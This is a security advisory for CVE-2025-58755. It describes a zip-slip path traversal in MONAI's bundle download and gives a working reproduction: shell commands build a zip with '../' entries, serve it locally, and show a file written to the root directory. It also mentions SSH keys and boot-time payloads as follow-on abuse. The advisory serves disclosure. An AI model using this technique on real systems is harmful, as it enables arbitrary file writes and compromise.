CVE-2025-58755

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) adding: ../../../../../../etc/passwd (deflated 64%) root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd .. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls malicious.zip p1.py p2.py r1.py test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')" 2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download --- 2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle' 2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract' 2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting' 2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip' 2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_' 2025-08-11 20:49:01,668 - INFO - > progress: True 2025-08-11 20:49:01,668 - INFO - --- test_bundle.zip: 8.00kB [00:00, 204kB/s] 2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip 2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip. 2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract. 2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json. root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls / autodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var bin dev init lib64 media proc sbin tmp boot etc lib libx32 mnt root srv usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it
